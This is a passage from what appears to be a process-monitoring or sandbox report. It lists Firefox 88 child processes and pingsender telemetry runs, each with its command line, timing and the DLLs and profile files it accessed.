        C:\WINDOWS\FONTS\SEGOEUIL.TTF
        
        4192
        
        Image path
        
        "C:\PROGRAM FILES\MOZILLA FIREFOX\FIREFOX.EXE" -CONTENTPROC --CHANNEL="3196.34.252322039\740734733" -CHILDID 5 -ISFORBROWSER -PREFSHANDLE 8464 -PREFMAPHANDLE 8468 -PREFSLEN 6330 -PREFMAPSIZE 235499 -PARENTBUILDID 20210504152106 -APPDIR "C:\PROGRAM FILES\MOZILLA FIREFOX\BROWSER" - 3196 "\\.\PIPE\GECKO-CRASH-SERVER-PIPE.3196" 8452 TAB
        
        Time lapse
        
        161.067303
        
        Files Accessed
        
        C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\MICROSOFT\DEFAULTSETUP
        C:\PROGRAM FILES\MOZILLA FIREFOX\MOZGLUE.DLL
        C:\WINDOWS\SYSTEM32\SECHOST.DLL
        C:\WINDOWS\SYSTEM32\VERSION.DLL
        C:\WINDOWS\SYSTEM32\DBGHELP.DLL
        C:\PROGRAM FILES\MOZILLA FIREFOX\MSVCP140.DLL
        C:\PROGRAM FILES\MOZILLA FIREFOX\VCRUNTIME140.DLL
        C:\PROGRAM FILES\MOZILLA FIREFOX\API-MS-WIN-CRT-RUNTIME-L1-1-0.DLL
        C:\PROGRAM FILES\MOZILLA FIREFOX\UCRTBASE.DLL
        C:\PROGRAM FILES\MOZILLA FIREFOX\API-MS-WIN-CORE-LOCALIZATION-L1-2-0.DLL
        C:\PROGRAM FILES\MOZILLA FIREFOX\API-MS-WIN-CORE-PROCESSTHREADS-L1-1-1.DLL
        C:\PROGRAM FILES\MOZILLA FIREFOX\API-MS-WIN-CORE-FILE-L1-2-0.DLL
        C:\PROGRAM FILES\MOZILLA FIREFOX\API-MS-WIN-CORE-TIMEZONE-L1-1-0.DLL
        C:\PROGRAM FILES\MOZILLA FIREFOX\API-MS-WIN-CORE-FILE-L2-1-0.DLL
        C:\PROGRAM FILES\MOZILLA FIREFOX\API-MS-WIN-CORE-SYNCH-L1-2-0.DLL
        C:\PROGRAM FILES\MOZILLA FIREFOX\API-MS-WIN-CRT-STRING-L1-1-0.DLL
        C:\PROGRAM FILES\MOZILLA FIREFOX\API-MS-WIN-CRT-HEAP-L1-1-0.DLL
        C:\PROGRAM FILES\MOZILLA FIREFOX\API-MS-WIN-CRT-STDIO-L1-1-0.DLL
        C:\PROGRAM FILES\MOZILLA FIREFOX\API-MS-WIN-CRT-CONVERT-L1-1-0.DLL
        C:\PROGRAM FILES\MOZILLA FIREFOX\API-MS-WIN-CRT-LOCALE-L1-1-0.DLL
        C:\PROGRAM FILES\MOZILLA FIREFOX\API-MS-WIN-CRT-MATH-L1-1-0.DLL
        C:\PROGRAM FILES\MOZILLA FIREFOX\API-MS-WIN-CRT-TIME-L1-1-0.DLL
        C:\PROGRAM FILES\MOZILLA FIREFOX\API-MS-WIN-CRT-FILESYSTEM-L1-1-0.DLL
        C:\PROGRAM FILES\MOZILLA FIREFOX\API-MS-WIN-CRT-ENVIRONMENT-L1-1-0.DLL
        C:\PROGRAM FILES\MOZILLA FIREFOX\API-MS-WIN-CRT-UTILITY-L1-1-0.DLL
        C:\WINDOWS\SYSTEM32\APPHELP.DLL
        C:\WINDOWS\APPPATCH\APPPATCH64\SYSMAIN.SDB
        C:\WINDOWS\APPPATCH\APPPATCH64\ACGENRAL.DLL
        C:\WINDOWS\SYSTEM32\SSPICLI.DLL
        C:\WINDOWS\SYSTEM32\SFC.DLL
        C:\WINDOWS\SYSTEM32\SFC_OS.DLL
        C:\WINDOWS\SYSTEM32\USERENV.DLL
        C:\WINDOWS\SYSTEM32\PROFAPI.DLL
        C:\WINDOWS\SYSTEM32\DWMAPI.DLL
        C:\WINDOWS\SYSTEM32\MPR.DLL
        C:\PROGRAM FILES\MOZILLA FIREFOX\FIREFOX.EXE
        C:\WINDOWS\SYSTEM32\IMM32.DLL
        C:\PROGRAM FILES\MOZILLA FIREFOX\DEPENDENTLIBS.LIST
        C:\PROGRAM FILES\MOZILLA FIREFOX\API-MS-WIN-CRT-MULTIBYTE-L1-1-0.DLL
        C:\PROGRAM FILES\MOZILLA FIREFOX\NSS3.DLL
        C:\WINDOWS\SYSTEM32\WINMM.DLL
        C:\WINDOWS\SYSTEM32\WSOCK32.DLL
        C:\PROGRAM FILES\MOZILLA FIREFOX\LGPLLIBS.DLL
        C:\PROGRAM FILES\MOZILLA FIREFOX\XUL.DLL
        C:\WINDOWS\SYSTEM32\AVRT.DLL
        C:\WINDOWS\SYSTEM32\PROPSYS.DLL
        C:\WINDOWS\SYSTEM32\IPHLPAPI.DLL
        C:\WINDOWS\SYSTEM32\WINNSI.DLL
        C:\WINDOWS\SYSTEM32\DNSAPI.DLL
        C:\WINDOWS\SYSTEM32\UXTHEME.DLL
        C:\WINDOWS\SYSTEM32\WTSAPI32.DLL
        C:\WINDOWS\SYSTEM32\DHCPCSVC.DLL
        C:\WINDOWS\SYSTEM32\EN-US\SETUPAPI.DLL.MUI
        C:\WINDOWS\GLOBALIZATION\SORTING\SORTDEFAULT.NLS
        C:\WINDOWS\SYSTEM32\RPCSS.DLL
        C:\WINDOWS\SYSTEM32\CRYPTBASE.DLL
        C:\WINDOWS\SYSTEM32\NTMARTA.DLL
        C:\PROGRAM FILES\MOZILLA FIREFOX\OMNI.JA
        C:\PROGRAM FILES\MOZILLA FIREFOX\BROWSER\OMNI.JA
        C:\WINDOWS\SYSTEM32\NLAAPI.DLL
        C:\WINDOWS\SYSTEM32\NAPINSP.DLL
        C:\WINDOWS\SYSTEM32\PNRPNSP.DLL
        C:\WINDOWS\SYSTEM32\MSWSOCK.DLL
        C:\WINDOWS\SYSTEM32\WINRNR.DLL
        C:\WINDOWS\SYSTEM32\WSHBTH.DLL
        C:\WINDOWS\SYSTEM32\WSHTCPIP.DLL
        C:\USERS\ADMINISTRATOR\APPDATA\LOCALLOW\MOZILLA\TEMP-{70150699-0E81-4378-95FB-15FB40DBBB83}
        C:\WINDOWS\SYSTEM32\DWRITE.DLL
        C:\PROGRAM FILES\MOZILLA FIREFOX\FONTS\TWEMOJIMOZILLA.TTF
        C:\WINDOWS\SYSTEM32\EN-US\WSHTCPIP.DLL.MUI
        C:\WINDOWS\SYSTEM32\WSHIP6.DLL
        C:\WINDOWS\SYSTEM32\EN-US\WSHIP6.DLL.MUI
        C:\WINDOWS\SYSTEM32\WSHQOS.DLL
        C:\WINDOWS\SYSTEM32\EN-US\WSHQOS.DLL.MUI
        
        4200
        
        Image path
        
        "C:\PROGRAM FILES\MOZILLA FIREFOX\FIREFOX.EXE" -CONTENTPROC --CHANNEL="3196.35.1497706045\1150721476" -CHILDID 6 -ISFORBROWSER -PREFSHANDLE 8440 -PREFMAPHANDLE 8444 -PREFSLEN 6330 -PREFMAPSIZE 235499 -PARENTBUILDID 20210504152106 -APPDIR "C:\PROGRAM FILES\MOZILLA FIREFOX\BROWSER" - 3196 "\\.\PIPE\GECKO-CRASH-SERVER-PIPE.3196" 8412 TAB
        
        Time lapse
        
        161.108305
        
        Files Accessed
        
        C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\MICROSOFT\DEFAULTSETUP
        C:\PROGRAM FILES\MOZILLA FIREFOX\MOZGLUE.DLL
        C:\WINDOWS\SYSTEM32\SECHOST.DLL
        C:\WINDOWS\SYSTEM32\VERSION.DLL
        C:\WINDOWS\SYSTEM32\DBGHELP.DLL
        C:\PROGRAM FILES\MOZILLA FIREFOX\MSVCP140.DLL
        C:\PROGRAM FILES\MOZILLA FIREFOX\VCRUNTIME140.DLL
        C:\PROGRAM FILES\MOZILLA FIREFOX\API-MS-WIN-CRT-RUNTIME-L1-1-0.DLL
        C:\PROGRAM FILES\MOZILLA FIREFOX\UCRTBASE.DLL
        C:\PROGRAM FILES\MOZILLA FIREFOX\API-MS-WIN-CORE-LOCALIZATION-L1-2-0.DLL
        C:\PROGRAM FILES\MOZILLA FIREFOX\API-MS-WIN-CORE-PROCESSTHREADS-L1-1-1.DLL
        C:\PROGRAM FILES\MOZILLA FIREFOX\API-MS-WIN-CORE-FILE-L1-2-0.DLL
        C:\PROGRAM FILES\MOZILLA FIREFOX\API-MS-WIN-CORE-TIMEZONE-L1-1-0.DLL
        C:\PROGRAM FILES\MOZILLA FIREFOX\API-MS-WIN-CORE-FILE-L2-1-0.DLL
        C:\PROGRAM FILES\MOZILLA FIREFOX\API-MS-WIN-CORE-SYNCH-L1-2-0.DLL
        C:\PROGRAM FILES\MOZILLA FIREFOX\API-MS-WIN-CRT-STRING-L1-1-0.DLL
        C:\PROGRAM FILES\MOZILLA FIREFOX\API-MS-WIN-CRT-HEAP-L1-1-0.DLL
        C:\PROGRAM FILES\MOZILLA FIREFOX\API-MS-WIN-CRT-STDIO-L1-1-0.DLL
        C:\PROGRAM FILES\MOZILLA FIREFOX\API-MS-WIN-CRT-CONVERT-L1-1-0.DLL
        C:\PROGRAM FILES\MOZILLA FIREFOX\API-MS-WIN-CRT-LOCALE-L1-1-0.DLL
        C:\PROGRAM FILES\MOZILLA FIREFOX\API-MS-WIN-CRT-MATH-L1-1-0.DLL
        C:\PROGRAM FILES\MOZILLA FIREFOX\API-MS-WIN-CRT-TIME-L1-1-0.DLL
        C:\PROGRAM FILES\MOZILLA FIREFOX\API-MS-WIN-CRT-FILESYSTEM-L1-1-0.DLL
        C:\PROGRAM FILES\MOZILLA FIREFOX\API-MS-WIN-CRT-ENVIRONMENT-L1-1-0.DLL
        C:\PROGRAM FILES\MOZILLA FIREFOX\API-MS-WIN-CRT-UTILITY-L1-1-0.DLL
        C:\WINDOWS\SYSTEM32\APPHELP.DLL
        C:\WINDOWS\APPPATCH\APPPATCH64\SYSMAIN.SDB
        C:\WINDOWS\APPPATCH\APPPATCH64\ACGENRAL.DLL
        C:\WINDOWS\SYSTEM32\SSPICLI.DLL
        C:\WINDOWS\SYSTEM32\SFC.DLL
        C:\WINDOWS\SYSTEM32\SFC_OS.DLL
        C:\WINDOWS\SYSTEM32\USERENV.DLL
        C:\WINDOWS\SYSTEM32\PROFAPI.DLL
        C:\WINDOWS\SYSTEM32\DWMAPI.DLL
        C:\WINDOWS\SYSTEM32\MPR.DLL
        C:\PROGRAM FILES\MOZILLA FIREFOX\FIREFOX.EXE
        C:\WINDOWS\SYSTEM32\IMM32.DLL
        C:\PROGRAM FILES\MOZILLA FIREFOX\DEPENDENTLIBS.LIST
        C:\PROGRAM FILES\MOZILLA FIREFOX\API-MS-WIN-CRT-MULTIBYTE-L1-1-0.DLL
        C:\PROGRAM FILES\MOZILLA FIREFOX\NSS3.DLL
        C:\WINDOWS\SYSTEM32\WINMM.DLL
        C:\WINDOWS\SYSTEM32\WSOCK32.DLL
        C:\PROGRAM FILES\MOZILLA FIREFOX\LGPLLIBS.DLL
        C:\PROGRAM FILES\MOZILLA FIREFOX\XUL.DLL
        C:\WINDOWS\SYSTEM32\AVRT.DLL
        C:\WINDOWS\SYSTEM32\PROPSYS.DLL
        C:\WINDOWS\SYSTEM32\IPHLPAPI.DLL
        C:\WINDOWS\SYSTEM32\WINNSI.DLL
        C:\WINDOWS\SYSTEM32\DNSAPI.DLL
        C:\WINDOWS\SYSTEM32\UXTHEME.DLL
        C:\WINDOWS\SYSTEM32\WTSAPI32.DLL
        C:\WINDOWS\SYSTEM32\DHCPCSVC.DLL
        C:\WINDOWS\SYSTEM32\EN-US\SETUPAPI.DLL.MUI
        C:\WINDOWS\GLOBALIZATION\SORTING\SORTDEFAULT.NLS
        C:\WINDOWS\SYSTEM32\RPCSS.DLL
        C:\WINDOWS\SYSTEM32\CRYPTBASE.DLL
        C:\WINDOWS\SYSTEM32\NTMARTA.DLL
        C:\PROGRAM FILES\MOZILLA FIREFOX\OMNI.JA
        C:\PROGRAM FILES\MOZILLA FIREFOX\BROWSER\OMNI.JA
        C:\USERS\ADMINISTRATOR\APPDATA\LOCALLOW\MOZILLA\TEMP-{70150699-0E81-4378-95FB-15FB40DBBB83}
        C:\WINDOWS\SYSTEM32\WSHTCPIP.DLL
        C:\WINDOWS\SYSTEM32\EN-US\WSHTCPIP.DLL.MUI
        C:\WINDOWS\SYSTEM32\WSHIP6.DLL
        C:\WINDOWS\SYSTEM32\EN-US\WSHIP6.DLL.MUI
        C:\WINDOWS\SYSTEM32\WSHQOS.DLL
        C:\WINDOWS\SYSTEM32\EN-US\WSHQOS.DLL.MUI
        C:\WINDOWS\SYSTEM32\NLAAPI.DLL
        C:\WINDOWS\SYSTEM32\NAPINSP.DLL
        C:\WINDOWS\SYSTEM32\PNRPNSP.DLL
        C:\WINDOWS\SYSTEM32\MSWSOCK.DLL
        C:\WINDOWS\SYSTEM32\WINRNR.DLL
        C:\WINDOWS\SYSTEM32\WSHBTH.DLL
        C:\WINDOWS\SYSTEM32\DWRITE.DLL
        C:\PROGRAM FILES\MOZILLA FIREFOX\FONTS\TWEMOJIMOZILLA.TTF
        
        5040
        
        Image path
        
        "C:\PROGRAM FILES\MOZILLA FIREFOX\FIREFOX.EXE" -CONTENTPROC --CHANNEL="3196.48.1957372887\43499073" -PARENTBUILDID 20210504152106 -PREFSHANDLE 8288 -PREFMAPHANDLE 8212 -PREFSLEN 7414 -PREFMAPSIZE 235499 -APPDIR "C:\PROGRAM FILES\MOZILLA FIREFOX\BROWSER" - 3196 "\\.\PIPE\GECKO-CRASH-SERVER-PIPE.3196" 8308 RDD
        
        Time lapse
        
        169.005673
        
        Files Accessed
        
        C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\MICROSOFT\DEFAULTSETUP
        C:\PROGRAM FILES\MOZILLA FIREFOX\MOZGLUE.DLL
        C:\WINDOWS\SYSTEM32\SECHOST.DLL
        C:\WINDOWS\SYSTEM32\VERSION.DLL
        C:\WINDOWS\SYSTEM32\DBGHELP.DLL
        C:\PROGRAM FILES\MOZILLA FIREFOX\MSVCP140.DLL
        C:\PROGRAM FILES\MOZILLA FIREFOX\VCRUNTIME140.DLL
        C:\PROGRAM FILES\MOZILLA FIREFOX\API-MS-WIN-CRT-RUNTIME-L1-1-0.DLL
        C:\PROGRAM FILES\MOZILLA FIREFOX\UCRTBASE.DLL
        C:\PROGRAM FILES\MOZILLA FIREFOX\API-MS-WIN-CORE-LOCALIZATION-L1-2-0.DLL
        C:\PROGRAM FILES\MOZILLA FIREFOX\API-MS-WIN-CORE-PROCESSTHREADS-L1-1-1.DLL
        C:\PROGRAM FILES\MOZILLA FIREFOX\API-MS-WIN-CORE-FILE-L1-2-0.DLL
        C:\PROGRAM FILES\MOZILLA FIREFOX\API-MS-WIN-CORE-TIMEZONE-L1-1-0.DLL
        C:\PROGRAM FILES\MOZILLA FIREFOX\API-MS-WIN-CORE-FILE-L2-1-0.DLL
        C:\PROGRAM FILES\MOZILLA FIREFOX\API-MS-WIN-CORE-SYNCH-L1-2-0.DLL
        C:\PROGRAM FILES\MOZILLA FIREFOX\API-MS-WIN-CRT-STRING-L1-1-0.DLL
        C:\PROGRAM FILES\MOZILLA FIREFOX\API-MS-WIN-CRT-HEAP-L1-1-0.DLL
        C:\PROGRAM FILES\MOZILLA FIREFOX\API-MS-WIN-CRT-STDIO-L1-1-0.DLL
        C:\PROGRAM FILES\MOZILLA FIREFOX\API-MS-WIN-CRT-CONVERT-L1-1-0.DLL
        C:\PROGRAM FILES\MOZILLA FIREFOX\API-MS-WIN-CRT-LOCALE-L1-1-0.DLL
        C:\PROGRAM FILES\MOZILLA FIREFOX\API-MS-WIN-CRT-MATH-L1-1-0.DLL
        C:\PROGRAM FILES\MOZILLA FIREFOX\API-MS-WIN-CRT-TIME-L1-1-0.DLL
        C:\PROGRAM FILES\MOZILLA FIREFOX\API-MS-WIN-CRT-FILESYSTEM-L1-1-0.DLL
        C:\PROGRAM FILES\MOZILLA FIREFOX\API-MS-WIN-CRT-ENVIRONMENT-L1-1-0.DLL
        C:\PROGRAM FILES\MOZILLA FIREFOX\API-MS-WIN-CRT-UTILITY-L1-1-0.DLL
        C:\WINDOWS\SYSTEM32\APPHELP.DLL
        C:\WINDOWS\APPPATCH\APPPATCH64\SYSMAIN.SDB
        C:\WINDOWS\APPPATCH\APPPATCH64\ACGENRAL.DLL
        C:\WINDOWS\SYSTEM32\SSPICLI.DLL
        C:\WINDOWS\SYSTEM32\SFC.DLL
        C:\WINDOWS\SYSTEM32\SFC_OS.DLL
        C:\WINDOWS\SYSTEM32\USERENV.DLL
        C:\WINDOWS\SYSTEM32\PROFAPI.DLL
        C:\WINDOWS\SYSTEM32\DWMAPI.DLL
        C:\WINDOWS\SYSTEM32\MPR.DLL
        C:\PROGRAM FILES\MOZILLA FIREFOX\FIREFOX.EXE
        C:\WINDOWS\SYSTEM32\IMM32.DLL
        C:\WINDOWS\SYSTEM32\CRYPTBASE.DLL
        C:\PROGRAM FILES\MOZILLA FIREFOX\DEPENDENTLIBS.LIST
        C:\PROGRAM FILES\MOZILLA FIREFOX\API-MS-WIN-CRT-MULTIBYTE-L1-1-0.DLL
        C:\PROGRAM FILES\MOZILLA FIREFOX\NSS3.DLL
        C:\WINDOWS\SYSTEM32\WINMM.DLL
        C:\WINDOWS\SYSTEM32\WSOCK32.DLL
        C:\PROGRAM FILES\MOZILLA FIREFOX\LGPLLIBS.DLL
        C:\PROGRAM FILES\MOZILLA FIREFOX\XUL.DLL
        C:\WINDOWS\SYSTEM32\AVRT.DLL
        C:\WINDOWS\SYSTEM32\PROPSYS.DLL
        C:\WINDOWS\SYSTEM32\IPHLPAPI.DLL
        C:\WINDOWS\SYSTEM32\WINNSI.DLL
        C:\WINDOWS\SYSTEM32\DNSAPI.DLL
        C:\WINDOWS\SYSTEM32\UXTHEME.DLL
        C:\WINDOWS\SYSTEM32\WTSAPI32.DLL
        C:\WINDOWS\SYSTEM32\DHCPCSVC.DLL
        C:\WINDOWS\SYSTEM32\EN-US\SETUPAPI.DLL.MUI
        C:\WINDOWS\GLOBALIZATION\SORTING\SORTDEFAULT.NLS
        C:\WINDOWS\SYSTEM32\RPCSS.DLL
        C:\WINDOWS\SYSTEM32\NTMARTA.DLL
        C:\PROGRAM FILES\MOZILLA FIREFOX\MOZAVCODEC.DLL
        C:\PROGRAM FILES\MOZILLA FIREFOX\MOZAVUTIL.DLL
        C:\WINDOWS\SYSTEM32\MFPLAT.DLL
        C:\WINDOWS\SYSTEM32\MF.DLL
        C:\WINDOWS\SYSTEM32\ATL.DLL
        C:\WINDOWS\SYSTEM32\KSUSER.DLL
        C:\WINDOWS\SYSTEM32\DXVA2.DLL
        C:\WINDOWS\SYSTEM32\EVR.DLL
        C:\WINDOWS\SYSTEM32\POWRPROF.DLL
        C:\WINDOWS\SYSTEM32\WSHTCPIP.DLL
        C:\WINDOWS\SYSTEM32\EN-US\WSHTCPIP.DLL.MUI
        C:\WINDOWS\SYSTEM32\WSHIP6.DLL
        C:\WINDOWS\SYSTEM32\EN-US\WSHIP6.DLL.MUI
        C:\WINDOWS\SYSTEM32\WSHQOS.DLL
        C:\WINDOWS\SYSTEM32\EN-US\WSHQOS.DLL.MUI
        C:\WINDOWS\REGISTRATION\R00000000000C.CLB
        C:\WINDOWS\SYSTEM32\MSMPEG2VDEC.DLL
        C:\WINDOWS\SYSTEM32\SLC.DLL
        C:\WINDOWS\SYSTEM32\SQMAPI.DLL
        C:\WINDOWS\SYSTEM32\BCRYPT.DLL
        C:\WINDOWS\SYSTEM32\MSMPEG2ADEC.DLL
        
        4596
        
        Image path
        
        "C:\PROGRAM FILES\MOZILLA FIREFOX\PINGSENDER.EXE" HTTPS://INCOMING.TELEMETRY.MOZILLA.ORG/SUBMIT/TELEMETRY/312DA651-EBBF-42E9-83E5-2F1A89E85517/EVENT/FIREFOX/88.0.1/RELEASE/20210504152106?V=4 C:\USERS\ADMINISTRATOR\APPDATA\ROAMING\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\SAVED-TELEMETRY-PINGS\312DA651-EBBF-42E9-83E5-2F1A89E85517
        
        Time lapse
        
        174.73675
        
        Files Accessed
        
        C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\MICROSOFT\DEFAULTSETUP
        C:\PROGRAM FILES\MOZILLA FIREFOX\MOZGLUE.DLL
        C:\WINDOWS\SYSTEM32\SECHOST.DLL
        C:\WINDOWS\SYSTEM32\VERSION.DLL
        C:\WINDOWS\SYSTEM32\DBGHELP.DLL
        C:\PROGRAM FILES\MOZILLA FIREFOX\MSVCP140.DLL
        C:\PROGRAM FILES\MOZILLA FIREFOX\VCRUNTIME140.DLL
        C:\PROGRAM FILES\MOZILLA FIREFOX\API-MS-WIN-CRT-RUNTIME-L1-1-0.DLL
        C:\PROGRAM FILES\MOZILLA FIREFOX\UCRTBASE.DLL
        C:\PROGRAM FILES\MOZILLA FIREFOX\API-MS-WIN-CORE-LOCALIZATION-L1-2-0.DLL
        C:\PROGRAM FILES\MOZILLA FIREFOX\API-MS-WIN-CORE-PROCESSTHREADS-L1-1-1.DLL
        C:\PROGRAM FILES\MOZILLA FIREFOX\API-MS-WIN-CORE-FILE-L1-2-0.DLL
        C:\PROGRAM FILES\MOZILLA FIREFOX\API-MS-WIN-CORE-TIMEZONE-L1-1-0.DLL
        C:\PROGRAM FILES\MOZILLA FIREFOX\API-MS-WIN-CORE-FILE-L2-1-0.DLL
        C:\PROGRAM FILES\MOZILLA FIREFOX\API-MS-WIN-CORE-SYNCH-L1-2-0.DLL
        C:\PROGRAM FILES\MOZILLA FIREFOX\API-MS-WIN-CRT-STRING-L1-1-0.DLL
        C:\PROGRAM FILES\MOZILLA FIREFOX\API-MS-WIN-CRT-HEAP-L1-1-0.DLL
        C:\PROGRAM FILES\MOZILLA FIREFOX\API-MS-WIN-CRT-STDIO-L1-1-0.DLL
        C:\PROGRAM FILES\MOZILLA FIREFOX\API-MS-WIN-CRT-CONVERT-L1-1-0.DLL
        C:\PROGRAM FILES\MOZILLA FIREFOX\API-MS-WIN-CRT-LOCALE-L1-1-0.DLL
        C:\PROGRAM FILES\MOZILLA FIREFOX\API-MS-WIN-CRT-MATH-L1-1-0.DLL
        C:\PROGRAM FILES\MOZILLA FIREFOX\API-MS-WIN-CRT-TIME-L1-1-0.DLL
        C:\PROGRAM FILES\MOZILLA FIREFOX\API-MS-WIN-CRT-FILESYSTEM-L1-1-0.DLL
        C:\PROGRAM FILES\MOZILLA FIREFOX\API-MS-WIN-CRT-ENVIRONMENT-L1-1-0.DLL
        C:\PROGRAM FILES\MOZILLA FIREFOX\API-MS-WIN-CRT-UTILITY-L1-1-0.DLL
        C:\WINDOWS\SYSTEM32\APPHELP.DLL
        C:\WINDOWS\APPPATCH\APPPATCH64\SYSMAIN.SDB
        C:\WINDOWS\APPPATCH\APPPATCH64\ACGENRAL.DLL
        C:\WINDOWS\SYSTEM32\SSPICLI.DLL
        C:\WINDOWS\SYSTEM32\SFC.DLL
        C:\WINDOWS\SYSTEM32\SFC_OS.DLL
        C:\WINDOWS\SYSTEM32\USERENV.DLL
        C:\WINDOWS\SYSTEM32\PROFAPI.DLL
        C:\WINDOWS\SYSTEM32\DWMAPI.DLL
        C:\WINDOWS\SYSTEM32\MPR.DLL
        C:\PROGRAM FILES\MOZILLA FIREFOX\PINGSENDER.EXE
        C:\WINDOWS\SYSTEM32\IMM32.DLL
        C:\WINDOWS\SYSTEM32\CRYPTBASE.DLL
        C:\USERS\ADMINISTRATOR\APPDATA\ROAMING\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\SAVED-TELEMETRY-PINGS\312DA651-EBBF-42E9-83E5-2F1A89E85517
        C:\WINDOWS\SYSTEM32\WININET.DLL
        C:\WINDOWS\WINSXS\AMD64_MICROSOFT.WINDOWS.COMMON-CONTROLS_6595B64144CCF1DF_6.0.7601.17514_NONE_FA396087175AC9AC\COMCTL32.DLL
        C:\WINDOWS\WINDOWSSHELL.MANIFEST
        C:\WINDOWS\GLOBALIZATION\SORTING\SORTDEFAULT.NLS
        C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\MICROSOFT\WINDOWS\TEMPORARY INTERNET FILES\CONTENT.IE5\INDEX.DAT
        C:\USERS\ADMINISTRATOR\APPDATA\ROAMING\MICROSOFT\WINDOWS\COOKIES\INDEX.DAT
        C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\MICROSOFT\WINDOWS\HISTORY\HISTORY.IE5\INDEX.DAT
        C:\WINDOWS\SYSTEM32\DNSAPI.DLL
        C:\WINDOWS\SYSTEM32\IPHLPAPI.DLL
        C:\WINDOWS\SYSTEM32\WINNSI.DLL
        C:\USERS\ADMINISTRATOR\APPDATA\ROAMING\MICROSOFT\SYSTEMCERTIFICATES\MY\CERTIFICATES
        C:\USERS\ADMINISTRATOR\APPDATA\ROAMING\MICROSOFT\SYSTEMCERTIFICATES\MY\CRLS
        C:\USERS\ADMINISTRATOR\APPDATA\ROAMING\MICROSOFT\SYSTEMCERTIFICATES\MY\CTLS
        C:\WINDOWS\SYSTEM32\SCHANNEL.DLL
        C:\WINDOWS\SYSTEM32\RASAPI32.DLL
        C:\WINDOWS\SYSTEM32\RASMAN.DLL
        C:\WINDOWS\SYSTEM32\RTUTILS.DLL
        C:\WINDOWS\SYSTEM32\SENSAPI.DLL
        C:\WINDOWS\SYSTEM32\NLAAPI.DLL
        C:\WINDOWS\SYSTEM32\RASADHLP.DLL
        C:\WINDOWS\SYSTEM32\RPCSS.DLL
        C:\WINDOWS\REGISTRATION\R00000000000C.CLB
        C:\WINDOWS\SYSTEM32\NETPROFM.DLL
        C:\WINDOWS\SYSTEM32\CRYPTSP.DLL
        C:\WINDOWS\SYSTEM32\RSAENH.DLL
        C:\WINDOWS\SYSTEM32\RPCRTREMOTE.DLL
        C:\WINDOWS\SYSTEM32\NPMPROXY.DLL
        C:\WINDOWS\SYSTEM32\NAPINSP.DLL
        C:\WINDOWS\SYSTEM32\PNRPNSP.DLL
        C:\WINDOWS\SYSTEM32\MSWSOCK.DLL
        C:\WINDOWS\SYSTEM32\WINRNR.DLL
        C:\WINDOWS\SYSTEM32\WSHBTH.DLL
        C:\WINDOWS\SYSTEM32\WSHTCPIP.DLL
        C:\WINDOWS\SYSTEM32\WSHIP6.DLL
        C:\WINDOWS\SYSTEM32\FWPUCLNT.DLL
        C:\WINDOWS\SYSTEM32\CREDSSP.DLL
        C:\WINDOWS\SYSTEM32\SECUR32.DLL
        C:\WINDOWS\SYSTEM32\NCRYPT.DLL
        C:\WINDOWS\SYSTEM32\BCRYPT.DLL
        C:\WINDOWS\SYSTEM32\BCRYPTPRIMITIVES.DLL
        C:\WINDOWS\SYSTEM32\GPAPI.DLL
        C:\WINDOWS\SYSTEM32\EN-US\CRYPT32.DLL.MUI
        C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\MICROSOFT\WINDOWS\TEMPORARY INTERNET FILES\CONTENT.IE5\STPPCJ6X\20210504152106[1].TXT
        
        3472
        
        Image path
        
        "C:\PROGRAM FILES\MOZILLA FIREFOX\PINGSENDER.EXE" HTTPS://INCOMING.TELEMETRY.MOZILLA.ORG/SUBMIT/TELEMETRY/E7F63D09-B212-4FE4-BDE4-9E7F1176C53F/HEALTH/FIREFOX/88.0.1/RELEASE/20210504152106?V=4 C:\USERS\ADMINISTRATOR\APPDATA\ROAMING\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\SAVED-TELEMETRY-PINGS\E7F63D09-B212-4FE4-BDE4-9E7F1176C53F
        
        Time lapse
        
        174.856751
        
        Files Accessed
        
        C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\MICROSOFT\DEFAULTSETUP
        C:\PROGRAM FILES\MOZILLA FIREFOX\MOZGLUE.DLL
        C:\WINDOWS\SYSTEM32\SECHOST.DLL
        C:\WINDOWS\SYSTEM32\VERSION.DLL
        C:\WINDOWS\SYSTEM32\DBGHELP.DLL
        C:\PROGRAM FILES\MOZILLA FIREFOX\MSVCP140.DLL
        C:\PROGRAM FILES\MOZILLA FIREFOX\VCRUNTIME140.DLL
        C:\PROGRAM FILES\MOZILLA FIREFOX\API-MS-WIN-CRT-RUNTIME-L1-1-0.DLL
        C:\PROGRAM FILES\MOZILLA FIREFOX\UCRTBASE.DLL
        C:\PROGRAM FILES\MOZILLA FIREFOX\API-MS-WIN-CORE-LOCALIZATION-L1-2-0.DLL
        C:\PROGRAM FILES\MOZILLA FIREFOX\API-MS-WIN-CORE-PROCESSTHREADS-L1-1-1.DLL
        C:\PROGRAM FILES\MOZILLA FIREFOX\API-MS-WIN-CORE-FILE-L1-2-0.DLL
        C:\PROGRAM FILES\MOZILLA FIREFOX\API-MS-WIN-CORE-TIMEZONE-L1-1-0.DLL
        C:\PROGRAM FILES\MOZILLA FIREFOX\API-MS-WIN-CORE-FILE-L2-1-0.DLL
        C:\PROGRAM FILES\MOZILLA FIREFOX\API-MS-WIN-CORE-SYNCH-L1-2-0.DLL
        C:\PROGRAM FILES\MOZILLA FIREFOX\API-MS-WIN-CRT-STRING-L1-1-0.DLL
        C:\PROGRAM FILES\MOZILLA FIREFOX\API-MS-WIN-CRT-HEAP-L1-1-0.DLL
        C:\PROGRAM FILES\MOZILLA FIREFOX\API-MS-WIN-CRT-STDIO-L1-1-0.DLL
        C:\PROGRAM FILES\MOZILLA FIREFOX\API-MS-WIN-CRT-CONVERT-L1-1-0.DLL
        C:\PROGRAM FILES\MOZILLA FIREFOX\API-MS-WIN-CRT-LOCALE-L1-1-0.DLL
        C:\PROGRAM FILES\MOZILLA FIREFOX\API-MS-WIN-CRT-MATH-L1-1-0.DLL
        C:\PROGRAM FILES\MOZILLA FIREFOX\API-MS-WIN-CRT-TIME-L1-1-0.DLL
